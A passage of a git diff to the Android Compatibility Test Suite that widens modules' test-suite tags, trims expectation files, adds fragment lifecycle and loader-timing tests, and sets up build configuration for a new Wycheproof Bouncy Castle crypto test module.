String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
diff --git a/tests/dram/Android.mk b/tests/dram/Android.mk
index e286e8d..1d21cdc 100644
--- a/tests/dram/Android.mk
+++ b/tests/dram/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsDramTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/dram/jni/Android.mk b/tests/dram/jni/Android.mk
index 4469cc4..1021aaa 100644
--- a/tests/dram/jni/Android.mk
+++ b/tests/dram/jni/Android.mk
@@ -26,4 +26,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index 3be19c2..08c2a5e 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -232,16 +232,6 @@
bug: 23827982
},
{
- description: "VP9 encoder is not a standard requirement of android as of O.",
- names: [
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080"
- ],
- bug: 33090965
-},
-{
description: "protected broadcast not working",
names: [
"android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index 417d7c4..9dca6af 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 053e668..1785097 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -34,13 +34,13 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ legacy-android-test
#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index 690bdc2..4e563d9 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Configuration for app.usage Tests">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index 00ec95b..c1fd9d8 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -46,6 +46,7 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Pair;
import android.view.LayoutInflater;
+import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
@@ -956,6 +957,112 @@
});
}
+ @Test
+ public void optionsMenu() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ InvalidateOptionFragment fragment = new InvalidateOptionFragment();
+ fm.beginTransaction()
+ .add(android.R.id.content, fragment)
+ .commit();
+ fm.executePendingTransactions();
+
+ Menu menu = mock(Menu.class);
+ fc.dispatchPrepareOptionsMenu(menu);
+ assertTrue(fragment.onPrepareOptionsMenuCalled);
+ fragment.onPrepareOptionsMenuCalled = false;
+ FragmentTestUtil.destroy(mActivityRule, fc);
+ fc.dispatchPrepareOptionsMenu(menu);
+ assertFalse(fragment.onPrepareOptionsMenuCalled);
+ });
+ }
+
+
+ /**
+ * When a retained instance fragment is saved while in the back stack, it should go
+ * through onCreate() when it is popped back.
+ */
+ @Test
+ public void retainInstanceWithOnCreate() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ OnCreateFragment fragment1 = new OnCreateFragment();
+
+ fm.beginTransaction()
+ .add(fragment1, "1")
+ .commit();
+ fm.beginTransaction()
+ .remove(fragment1)
+ .addToBackStack(null)
+ .commit();
+
+ Pair<Parcelable, FragmentManagerNonConfig> savedState =
+ FragmentTestUtil.destroy(mActivityRule, fc);
+ Pair<Parcelable, FragmentManagerNonConfig> restartState =
+ Pair.create(savedState.first, null);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, restartState);
+
+ // Save again, but keep the state
+ savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+
+ fm = fc.getFragmentManager();
+
+ fm.popBackStackImmediate();
+ OnCreateFragment fragment2 = (OnCreateFragment) fm.findFragmentByTag("1");
+ assertTrue(fragment2.onCreateCalled);
+ fm.popBackStackImmediate();
+ });
+ }
+
+ /**
+ * A retained instance fragment should go through onCreate() once, even through save and
+ * restore.
+ */
+ @Test
+ public void retainInstanceOneOnCreate() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ OnCreateFragment fragment = new OnCreateFragment();
+
+ fm.beginTransaction()
+ .add(fragment, "fragment")
+ .commit();
+ fm.executePendingTransactions();
+
+ fm.beginTransaction()
+ .remove(fragment)
+ .addToBackStack(null)
+ .commit();
+
+ assertTrue(fragment.onCreateCalled);
+ fragment.onCreateCalled = false;
+
+ Pair<Parcelable, FragmentManagerNonConfig> savedState =
+ FragmentTestUtil.destroy(mActivityRule, fc);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+ fm = fc.getFragmentManager();
+
+ fm.popBackStackImmediate();
+ assertFalse(fragment.onCreateCalled);
+ });
+ }
+
private void executePendingTransactions(final FragmentManager fm) throws Throwable {
mActivityRule.runOnUiThread(new Runnable() {
@Override
@@ -1162,4 +1269,33 @@
}
}
}
+
+ public static class InvalidateOptionFragment extends Fragment {
+ public boolean onPrepareOptionsMenuCalled;
+
+ public InvalidateOptionFragment() {
+ setHasOptionsMenu(true);
+ }
+
+ @Override
+ public void onPrepareOptionsMenu(Menu menu) {
+ onPrepareOptionsMenuCalled = true;
+ assertNotNull(getContext());
+ super.onPrepareOptionsMenu(menu);
+ }
+ }
+
+ public static class OnCreateFragment extends Fragment {
+ public boolean onCreateCalled;
+
+ public OnCreateFragment() {
+ setRetainInstance(true);
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ onCreateCalled = true;
+ }
+ }
}
diff --git a/tests/fragment/src/android/fragment/cts/LoaderActivity.java b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
index 9c69f75..b1a8add 100644
--- a/tests/fragment/src/android/fragment/cts/LoaderActivity.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
@@ -23,6 +23,8 @@
import android.view.ViewGroup;
import android.widget.TextView;
+import java.util.concurrent.CountDownLatch;
+
/**
* This Activity sets the text when loading completes. It also tracks the Activity in
* a static variable, so it must be cleared in test tear down.
@@ -30,6 +32,7 @@
public class LoaderActivity extends RecreatedActivity {
public TextView textView;
public TextView textViewB;
+ public CountDownLatch loadFinished = new CountDownLatch(1);
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -59,6 +62,7 @@
@Override
public void onLoadFinished(Loader<String> loader, String data) {
textView.setText(data);
+ loadFinished.countDown();
}
@Override
@@ -82,3 +86,4 @@
}
}
}
+
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
index 2eb897e..fbf4258 100755
--- a/tests/fragment/src/android/fragment/cts/LoaderTest.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -96,10 +96,13 @@
@Test
public void startWhenReused() throws Throwable {
LoaderActivity activity = mActivityRule.getActivity();
+ activity.waitForResume(mActivityRule);
+ assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
assertEquals("Loaded!", activity.textView.getText().toString());
activity = FragmentTestUtil.recreateActivity(mActivityRule, activity);
+ assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
// After orientation change, the text should still be loaded properly
assertEquals("Loaded!", activity.textView.getText().toString());
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
index 82b32a9..833d532 100644
--- a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -15,16 +15,21 @@
*/
package android.fragment.cts;
+import static org.junit.Assert.assertTrue;
+
import android.app.Activity;
import android.os.Bundle;
+import android.support.test.rule.ActivityTestRule;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
-public class RecreatedActivity extends Activity {
+public class RecreatedActivity extends FragmentTestActivity {
// These must be cleared after each test using clearState()
public static RecreatedActivity sActivity;
public static CountDownLatch sResumed;
public static CountDownLatch sDestroyed;
+ private boolean mIsResumed;
public static void clearState() {
sActivity = null;
@@ -41,15 +46,42 @@
@Override
protected void onResume() {
super.onResume();
+ mIsResumed = true;
if (sResumed != null) {
sResumed.countDown();
}
}
@Override
+ protected void onPause() {
+ super.onPause();
+ mIsResumed = false;
+ }
+
+ @Override
protected void onDestroy() {
super.onDestroy();
if (sDestroyed != null) {
sDestroyed.countDown();
}
- }}
+ }
+
+ public void waitForResume(ActivityTestRule<? extends Activity> rule) throws Throwable {
+ if (mIsResumed) {
+ return;
+ }
+ if (sResumed != null) {
+ assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+ } else {
+ rule.runOnUiThread(() -> {
+ if (!mIsResumed) {
+ sResumed = new CountDownLatch(1);
+ }
+ });
+ if (sResumed != null) {
+ assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+ sResumed = null;
+ }
+ }
+ }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 7de22d4..0c1ed5f 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index 0d4f533..16954f2 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsJankDeviceTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index d22c0a2..9c409a5 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -14,6 +14,8 @@
limitations under the License.
-->
<configuration description="Config for CTS Jank test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="graphics" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/jdwp/Android.mk b/tests/jdwp/Android.mk
index d34e7af..debf41c 100644
--- a/tests/jdwp/Android.mk
+++ b/tests/jdwp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_TAGS := tests
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 192ba78..72d26b1 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -39,5 +39,8 @@
<option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
<option name="runtime-hint" value="16m" />
+ <!-- Temporary work around to avoid running android.test.AndroidTestCase. -->
+ <!-- TODO(64541592) - remove once AndroidTestCase is not statically included. -->
+ <option name="exclude-filter" value="android.test.AndroidTestCase" />
</test>
</configuration>
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
index 871fc39..fa7b294 100644
--- a/tests/jdwp/runner/device-side/Android.mk
+++ b/tests/jdwp/runner/device-side/Android.mk
@@ -30,6 +30,6 @@
LOCAL_MODULE_TAGS := optional
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
index 7398f69..32abf79 100644
--- a/tests/jdwp/runner/host-side/Android.mk
+++ b/tests/jdwp/runner/host-side/Android.mk
@@ -30,6 +30,6 @@
LOCAL_JAVA_RESOURCE_DIRS := resources
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 25fd9a0..ec114f3 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsLeanbackJankTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index d87cefa..31504b6 100644
--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS LeanbackJank test cases">
<option name="config-descriptor:metadata" key="component" value="tv" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index beeacdd..3fc685d 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := \
$(TOP)/frameworks/support/v17/leanback/res \
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
index 2c7b7b1..e2bcef5 100644
--- a/tests/libcore/javautilcollections/Android.mk
+++ b/tests/libcore/javautilcollections/Android.mk
@@ -29,6 +29,6 @@
guava-testlib-20.0-prebuilt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
index 4303af5..75be288 100644
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ b/tests/libcore/javautilcollections/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (C) 2016 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,8 +14,8 @@
limitations under the License.
-->
<configuration description="Config for CTS Libcore java.util Collection test cases">
- <option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="not-shardable" value="true" />
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index e71bb57..9e11815 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -34,12 +34,8 @@
LOCAL_PROGUARD_ENABLED := disabled
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 865f805..2a3e5d2 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="10m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index c42a987..81b44d3 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -24,8 +24,8 @@
core-tests \
cts-core-test-runner \
mockito-target-minus-junit4 \
- tzdata_shared2-tests \
- tzdata_update2-tests
+ time_zone_distro-tests \
+ time_zone_distro_installer-tests
# Don't include this package in any target
LOCAL_MODULE_TAGS := tests
@@ -38,7 +38,8 @@
LOCAL_DX_FLAGS := --multi-dex
LOCAL_PROGUARD_ENABLED := disabled
-
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
+LOCAL_DONT_DELETE_JAR_META_INF := true
LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
# Include both the 32 and 64 bit versions of libjavacoretests,
@@ -46,13 +47,12 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+# continuous build configurations, so it's not referenced in AndroidTest.xml
LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt \
libcore/expectations/virtualdeviceknownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 4abb65c..a8c4142 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="45m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 36ba4f2..be709be 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -30,6 +30,9 @@
LOCAL_DEX_PREOPT := false
LOCAL_JACK_FLAGS := --multi-dex native
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
+LOCAL_DONT_DELETE_JAR_META_INF := true
+
LOCAL_PROGUARD_ENABLED := disabled
# Include both the 32 and 64 bit versions of libjavacoretests,
@@ -37,12 +40,8 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index faaff96..1cebd4e 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -36,10 +36,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
- <option name="core-expectation" value="/expectations/cts-runner-specific-failures.txt" />
<option name="runtime-hint" value="35m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 840f1a2..91e9ef5 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -40,12 +40,8 @@
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/brokentests.txt \
- libcore/expectations/icebox.txt \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 970fd8e..4e79b80 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -32,9 +32,6 @@
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
- <option name="core-expectation" value="/brokentests.txt" />
- <option name="core-expectation" value="/icebox.txt" />
- <option name="core-expectation" value="/taggedtests.txt" />
<option name="runtime-hint" value="15m"/>
<!-- 20x default timeout of 600sec -->
<option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index d7399cd..6ef3c03 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -33,6 +33,6 @@
LOCAL_PROGUARD_ENABLED := disabled
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
new file mode 100644
index 0000000..801feac
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-core-test-runner \
+ wycheproof
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
new file mode 100644
index 0000000..15c5fd5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.bouncycastle">
+ <uses-permission android:name="android.permission.INTERNET" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
+ android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
new file mode 100644
index 0000000..08238ce
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <!-- this has just the instrumentation which acts as the tests we want to run -->
+ <option name="test-file-name" value="CtsLibcoreWycheproofBCTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.testtype.LibcoreTest" >
+ <option name="package" value="android.libcore.cts.wycheproof.bouncycastle" />
+ <!-- The individual test cases don't work unless they're run in the
+ context of one of the suites, so we have to limit the test
+ infrastructure to only running the test suites. -->
+ <option name="test-package" value="android.libcore.cts.wycheproof" />
+ <option name="instrumentation-arg" key="listener"
+ value="com.android.cts.runner.CtsTestRunListener" />
+ <option name="instrumentation-arg" key="filter"
+ value="com.android.cts.core.runner.ExpectationBasedFilter" />
+ <option name="core-expectation" value="/knownfailures.txt" />
+ <option name="runtime-hint" value="10m"/>
